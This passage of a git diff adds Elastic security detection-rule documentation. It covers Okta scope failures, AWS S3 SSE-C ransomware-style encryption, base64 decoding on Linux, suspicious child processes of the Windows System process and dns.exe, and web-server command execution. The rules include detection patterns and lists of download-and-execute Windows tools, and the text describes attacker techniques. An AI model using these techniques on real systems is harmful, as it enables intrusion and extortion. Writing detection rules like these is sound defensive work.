and evaluate the risk of compromised credentials. +- Check the `okta.outcome.reason` field for "no_matching_scope" to verify that the failure was due to a scope mismatch, indicating an attempt to access unauthorized resources. +- Analyze the `okta.client.user_agent.raw_user_agent` field to ensure the request did not originate from known Okta integrations, which are excluded from the rule, to rule out false positives. +- Correlate the event with other security logs or alerts to identify any patterns or additional suspicious activities related to the same client credentials or IP address. + + +*False positive analysis* + + +- Frequent legitimate access attempts by known public client apps may trigger false positives. To manage this, consider creating exceptions for specific `okta.actor.display_name` values that are known to frequently request scopes without malicious intent. +- Automated processes or integrations that use client credentials might occasionally request scopes not typically associated with their function. Review these processes and, if deemed non-threatening, exclude their `okta.client.user_agent.raw_user_agent` from triggering the rule. +- Development or testing environments often simulate various OAuth 2.0 token grant scenarios, which can result in false positives. Identify and exclude these environments by their `okta.actor.display_name` or other distinguishing attributes. +- Regularly review and update the list of non-threatening scopes in `okta.debug_context.debug_data.flattened.requestedScopes` to ensure that legitimate scope requests are not flagged as unauthorized. + + +*Response and remediation* + + +- Immediately revoke the compromised client credentials to prevent further unauthorized access attempts. +- Conduct a thorough review of the affected public client app's access logs to identify any successful unauthorized access or data exfiltration attempts. +- Notify the application owner and relevant security teams about the incident to ensure coordinated response efforts. +- Implement additional monitoring on the affected app and associated user accounts to detect any further suspicious activities. +- Update and enforce stricter access controls and scope permissions for public client apps to minimize the risk of unauthorized scope requests. +- Consider implementing multi-factor authentication (MFA) for accessing sensitive resources to add an additional layer of security. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if broader organizational impacts exist. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: okta.system + and event.action: "app.oauth2.as.token.grant" + and okta.actor.type: "PublicClientApp" + and okta.debug_context.debug_data.flattened.grantType: "client_credentials" + and okta.outcome.result: "FAILURE" + and not okta.client.user_agent.raw_user_agent: "Okta-Integrations" + and not okta.actor.display_name: (Okta* or Datadog) + and not okta.debug_context.debug_data.flattened.requestedScopes: ("okta.logs.read" or "okta.eventHooks.read" or "okta.inlineHooks.read") + and okta.outcome.reason: "no_matching_scope" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..35e41709f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-unusual-aws-s3-object-encryption-with-sse-c]] +=== Unusual AWS S3 Object Encryption with SSE-C + +Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual AWS S3 Object Encryption with SSE-C* + + +This rule identifies the use of Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objecs uploaded such as a ransom note. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: "PutObject" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-base64-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-base64-encoding-decoding-activity.asciidoc new file mode 100644 index 0000000000..cb1b7819d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-base64-encoding-decoding-activity.asciidoc @@ -0,0 +1,248 @@ +[[prebuilt-rule-8-19-21-unusual-base64-encoding-decoding-activity]] +=== Unusual Base64 Encoding/Decoding Activity + +This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Base64 Encoding/Decoding Activity* + +Base64 encoding is a method to convert binary data into ASCII text, often used for data transmission. Adversaries exploit this to obfuscate malicious payloads or commands, bypassing security controls. The detection rule identifies suspicious Base64 activity on Linux by monitoring specific processes and command patterns, flagging anomalies for further investigation. + + +*Possible investigation steps* + + +- Review the process name and command line arguments to understand the context of the Base64 activity. Check if the process name matches known legitimate applications or scripts. +- Examine the timestamp of the event to determine if the activity occurred during normal operational hours or if it coincides with other suspicious activities. +- Investigate the host operating system type and agent ID to identify the specific Linux system involved and assess if it has a history of similar alerts or other security incidents. +- Analyze the process command line for any unusual patterns or parameters that might indicate obfuscation or malicious intent, such as the presence of decode flags or unexpected Base64 operations. +- Correlate the event with other logs or alerts from the same host or network to identify potential lateral movement or coordinated attacks. +- Check for any recent changes or deployments on the affected system that might explain the Base64 activity, such as new software installations or updates. +- Consult threat intelligence sources to determine if the observed Base64 patterns or command line arguments are associated with known malware or attack techniques. + + +*False positive analysis* + + +- Routine administrative scripts may use base64 encoding for legitimate data processing tasks. Review the process.command_line and process.args fields to identify known scripts and consider excluding them from the rule. +- Backup or data transfer operations might employ base64 encoding to handle binary data. Verify the process.name and process.command_line to ensure these operations are recognized and add exceptions for these specific processes. +- Development environments often use base64 encoding for testing purposes. Identify development-related processes by examining the process.name and process.command_line and exclude them if they are part of regular development activities. +- Automated system monitoring tools might trigger this rule if they use base64 encoding for log or data analysis. Check the agent.id and process.command_line to confirm these tools and exclude them from the rule if they are verified as non-threatening. +- Security tools that perform data encoding for analysis or reporting could be flagged. Validate these tools by reviewing the process.name and process.command_line and create exceptions for them if they are part of the security infrastructure. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further data exfiltration or lateral movement by the adversary. +- Terminate any suspicious processes identified by the alert, particularly those involving base64 encoding/decoding, to halt potential malicious activity. +- Conduct a thorough review of the process command lines and arguments flagged by the alert to identify any malicious scripts or payloads. Remove or quarantine these files as necessary. +- Check for any unauthorized user accounts or privilege escalations that may have been established during the attack and revoke access immediately. +- Restore any affected systems or files from a known good backup to ensure the integrity of the system and data. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the suspicious base64 activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + process.command_line like "*-*d*" + ) or + ( + process.name == "openssl" and + process.args == "enc" and + process.args in ("-d", "-base64", "-a") + ) or + ( + process.name like "python*" and ( + ( + process.args == "base64" and + process.args in ("-d", "-u", "-t") + ) or + ( + process.args == "-c" and + process.command_line like "*base64*" and + process.command_line like "*b64decode*" + ) + ) + ) or + ( + process.name like "perl*" and + process.command_line like "*decode_base64*" + ) or + ( + process.name like "ruby*" and + process.args == "-e" and + process.command_line like "*Base64.decode64*" + ) + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.args, + process.command_line, + process.parent.name, + process.parent.command_line, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace +| stats + Esql.event_count = count(), + Esql.process_parent_name_values = values(process.parent.name), + Esql.process_parent_command_line_values = values(process.parent.command_line), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.name, process.command_line +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 15 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.name, process.command_line, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-from-a-system-virtual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-from-a-system-virtual-process.asciidoc new file mode 100644 index 0000000000..49b9858a57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-from-a-system-virtual-process.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-unusual-child-process-from-a-system-virtual-process]] +=== Unusual Child Process from a System Virtual Process + +Identifies a suspicious child process of the Windows virtual system process, which could indicate code injection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Child Process from a System Virtual Process* + + +In Windows environments, the System process (PID 4) is a critical component responsible for managing system-level operations. Adversaries may exploit this by injecting malicious code to spawn unauthorized child processes, evading detection. The detection rule identifies anomalies by flagging unexpected child processes originating from the System process, excluding known legitimate executables, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details of the suspicious child process, including the executable path and command line arguments, to determine if it matches known malicious patterns or anomalies. +- Check the parent process (PID 4) to confirm it is indeed the System process and verify if any legitimate processes are excluded as per the rule (e.g., Registry, MemCompression, smss.exe). +- Investigate the timeline of events leading up to the process start event to identify any preceding suspicious activities or anomalies that might indicate process injection or exploitation. +- Correlate the alert with other security telemetry from data sources like Microsoft Defender XDR or Sysmon to identify any related alerts or indicators of compromise. +- Examine the network activity associated with the suspicious process to detect any unauthorized connections or data exfiltration attempts. +- Consult threat intelligence sources to determine if the process executable or its behavior is associated with known malware or threat actor techniques. +- If necessary, isolate the affected system to prevent further potential malicious activity and conduct a deeper forensic analysis. + + +*False positive analysis* + + +- Legitimate system maintenance tools may occasionally spawn child processes from the System process. Users should monitor and verify these tools and add them to the exclusion list if they are confirmed to be safe. +- Some security software might create child processes from the System process as part of their normal operation. Identify these processes and configure exceptions to prevent unnecessary alerts. +- Windows updates or system patches can sometimes trigger unexpected child processes. Ensure that these processes are part of a legitimate update cycle and exclude them if they are verified. +- Custom scripts or administrative tools used for system management might also cause false positives. Review these scripts and tools, and if they are deemed safe, add them to the exclusion list. +- Virtualization software or sandbox environments may mimic or interact with the System process in ways that trigger alerts. Validate these interactions and exclude them if they are part of normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential threat. +- Terminate any suspicious child processes identified as originating from the System process (PID 4) that are not part of the known legitimate executables. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any injected malicious code. +- Review recent system changes and installed software to identify any unauthorized modifications or installations that could have facilitated the process injection. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated through other means. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the affected system and similar environments to detect any recurrence of the threat, focusing on process creation events and anomalies related to the System process. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.pid == 4 and process.executable : "?*" and + not process.executable : ("Registry", "MemCompression", "?:\\Windows\\System32\\smss.exe", "HotPatch") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-of-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-of-dns-exe.asciidoc new file mode 100644 index 0000000000..83dcee2b29 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-child-process-of-dns-exe.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-unusual-child-process-of-dns-exe]] +=== Unusual Child Process of dns.exe + +Identifies an unexpected process spawning from dns.exe, the process responsible for Windows DNS server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Process of dns.exe* + + +SIGRed (CVE-2020-1350) is a wormable, critical vulnerability in the Windows DNS server that affects Windows Server versions 2003 to 2019 and can be triggered by a malicious DNS response. Because the service is running in elevated privileges (SYSTEM), an attacker that successfully exploits it is granted Domain Administrator rights. This can effectively compromise the entire corporate infrastructure. + +This rule looks for unusual children of the `dns.exe` process, which can indicate the exploitation of the SIGRed or a similar remote code execution vulnerability in the DNS server. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. + - Any suspicious or abnormal child process spawned from dns.exe should be carefully reviewed and investigated. It's impossible to predict what an adversary may deploy as the follow-on process after the exploit, but built-in discovery/enumeration utilities should be top of mind (`whoami.exe`, `netstat.exe`, `systeminfo.exe`, `tasklist.exe`). + - Built-in Windows programs that contain capabilities used to download and execute additional payloads should also be considered. This is not an exhaustive list, but ideal candidates to start out would be: `mshta.exe`, `powershell.exe`, `regsvr32.exe`, `rundll32.exe`, `wscript.exe`, `wmic.exe`. + - If a denial-of-service (DoS) exploit is successful and DNS Server service crashes, be mindful of potential child processes related to `werfault.exe` occurring. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the host during the past 48 hours. +- Check whether the server is vulnerable to CVE-2020-1350. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore the compromised server to a clean state. +- Install the latest patches on systems that run Microsoft DNS Server. +- Consider the implementation of a patch management system, such as the Windows Server Update Services (WSUS). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "dns.exe" and + not process.executable : ( + "?:\\Windows\\System32\\conhost.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Program Files\\ReasonLabs\\*" + ) and + not ?process.parent.executable : "?:\\Program Files\\ReasonLabs\\DNS\\ui\\DNS.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-command-execution-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-command-execution-from-web-server-parent.asciidoc new file mode 100644 index 0000000000..dee860b241 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-command-execution-from-web-server-parent.asciidoc @@ -0,0 +1,253 @@ +[[prebuilt-rule-8-19-21-unusual-command-execution-from-web-server-parent]] +=== Unusual Command Execution from Web Server Parent + +This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Command Execution from Web Server Parent* + + +Web servers, such as Apache or Nginx, are crucial for hosting web applications, often running on Linux systems. Adversaries exploit vulnerabilities in these servers to execute arbitrary commands, typically through web shells, blending malicious activity with legitimate server processes. The detection rule identifies suspicious command executions originating from web server processes, focusing on unusual patterns and contexts, such as unexpected working directories or command structures, to flag potential compromises. + + +*Possible investigation steps* + + +- Review the process.command_line field to understand the specific command executed and assess its legitimacy or potential malicious intent. +- Examine the process.working_directory to determine if the command was executed from an unusual or suspicious directory, which could indicate a compromise. +- Check the process.parent.executable and process.parent.name fields to identify the parent process and verify if it is a known web server or related service that could be exploited. +- Investigate the user.name and user.id fields to confirm if the command was executed by a legitimate user or service account, or if it was potentially executed by an unauthorized user. +- Correlate the @timestamp with other logs and events to identify any related activities or anomalies occurring around the same time, which could provide additional context or evidence of an attack. +- Assess the agent.id to determine if the alert is isolated to a single host or if similar activities are observed across multiple hosts, indicating a broader issue. + + +*False positive analysis* + + +- Web development or testing environments may frequently execute commands from web server processes. To handle this, exclude specific working directories like /var/www/dev or /var/www/test from the rule. +- Automated scripts or cron jobs running under web server user accounts can trigger alerts. Identify these scripts and add exceptions for their specific command lines or user IDs. +- Legitimate administrative tasks performed by web server administrators might appear suspicious. Document these tasks and exclude their associated command lines or parent executables. +- Continuous integration or deployment processes that involve web server interactions can be mistaken for threats. Exclude known CI/CD tool command lines or working directories from the rule. +- Monitoring or logging tools that interact with web server processes may generate false positives. Identify these tools and exclude their specific process names or parent executables. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. This can be done by removing the host from the network or applying network segmentation. + +- Terminate any suspicious processes identified by the detection rule, especially those originating from web server parent processes executing shell commands. Use process IDs and command lines from the alert to target specific processes. + +- Conduct a thorough review of the web server logs and application logs to identify any unauthorized access or modifications. Look for patterns that match the command execution detected and any other anomalies. + +- Patch the web server and any associated applications to address known vulnerabilities that may have been exploited. Ensure that all software is up to date with the latest security patches. + +- Restore the affected system from a known good backup if any unauthorized changes or persistent threats are detected. Ensure that the backup is free from compromise before restoration. + +- Implement additional monitoring and alerting for similar activities, focusing on unusual command executions and web server behavior. Enhance logging and alerting to capture more detailed information about process executions and network connections. + +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. Provide them with all relevant data and findings from the initial containment and remediation 